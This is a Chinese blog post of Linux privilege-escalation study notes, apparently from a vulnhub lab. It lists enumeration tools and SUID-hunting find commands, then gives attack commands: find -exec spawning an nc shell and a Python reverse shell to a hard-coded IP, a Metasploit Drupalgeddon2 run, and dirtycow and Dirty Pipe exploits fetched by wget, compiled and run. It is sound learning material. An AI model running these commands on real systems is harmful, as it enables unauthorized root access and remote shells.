首页 > 系统相关 >Linux提权(一)

Linux提权(一)

时间:2023-03-19 12:55:42浏览次数:29  
标签:socket 提权 漏洞 dcow Linux root find

第103天

查找可利用漏洞及漏洞版本

一个综合类探针:traitor

一个自动化提权:BeRoot(gtfobins&lolbas)

两个信息收集:LinEnum linuxprivchecker

两个漏洞探针:linux-exploit-suggester&2

SUID提权

管理员给一些程序、文件赋予了root权限

nmap

vim

find

Bash

More

Less

Nano

cp

手工探针

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

LinEnum

将LinEnum.sh上传到目标服务器,然后远程执行,得到对目标的信息收集,看是否存在可利用文件

find

find有suid root权限

touch abc

find abc -exec whoami \;
nc反弹
find abc -exec netcat -lvp 5555 -e /bin/sh \;

netcat xx.xx.xx.xx 5555
python反弹
find xiaodi -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.236.117",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

nc -lvp 7777

内核漏洞

dcow

vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG
内核漏洞提权过程:寻可用-下exp-上/tmp-编译exp-执行(无权限用chmod)
nmap 192.168.46.0/24
nmap -p1-65535 192.168.46.144
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root

dirtypipe

Dirty Pipe(CVE-2022-0847)
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su  #任何具体suid权限的文件均可
id

标签:socket,提权,漏洞,dcow,Linux,root,find
From: https://www.cnblogs.com/arongsec/p/17232847.html

相关文章

  • Linux常用命令
    Linux常用命令关机:shutdownsync#将数据由内存同步到硬盘中shutdown#关机指令,你可以manshutdown来看一下帮助文档。例如你可以运行如下命令关机:shutdown-h10......
  • Linux(CentOS)安装 Vim编辑器
    vim的介绍1、vim是一个功能强大的全屏幕文本编辑器,是linux/unix上最常用的文本编辑器2、它的作用是建立、编辑、显示文本文件3、vim没有菜单,只有命令安装VIM编辑器我......
  • Linux 6.3 对EXT4文件系统写入性能改进补丁
    EXT4(第四代扩展文件系统)是 ​​Linux​ 系统下的日志文件系统,目前该系统已趋于稳定,但在Linux6.3合并窗口中再获得了一些直接I/O性能改进补丁,改进了写入速度。EXT4(......
  • Linux 远程数据同步工具详解(rsync)
    一、简介1认识Rsync(remotesynchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远程两个主机之间的文......
  • Linux 常用命令
    1工具​为方便在Windows系统下操作Linux命令,本文使用Git工具,讲解Linux的常用命令,Git下载→Git-Downloads。安装好Git后,在任意目录空白处右键,在弹出菜......
  • Linux开机提示“welcome to emergency mode! ”进入救援模式解决办法
    一、centos开机启动进入救援模式:welcometoemergencymode! 根据系统提示:journalctl-xb查看系统报错、journalctl-p4查看报错级别为4警报没有找到相关文件,检查开......
  • Linux系统命令基础
    Linux命令格式命令条件/参数文件/目录cd命令,changedirectory变换目录.当前目录..上一层目录-前一个工作目录~当前【用户】所在的家目录/......
  • linux查看openjdk的安装的路径
     前言:现在基本上linux为了避免版权问题都会默认的为你安装开源的openjdk,而不是jdk。有些时候需要运行一些环境需要用到jdk的环境变量,本文就是简单描述下如何查看openj......
  • SudoEdit(CVE-2023-22809) 提权漏洞分析
    SudoEdit(CVE-2023-22809)提权漏洞分析TRANSLATEwithxEnglishArabicHebrewPolishBulgarianHindiPortugueseCatalanHmongDawRomanianChine......
  • LINUX服务与配置随笔01
    1.理论知识1.1文件名后缀1.1.1作用是说明和注释一个文件的性质1.1.2与文件类型无关1.2常见的压缩文件后缀名1.2.1.gz......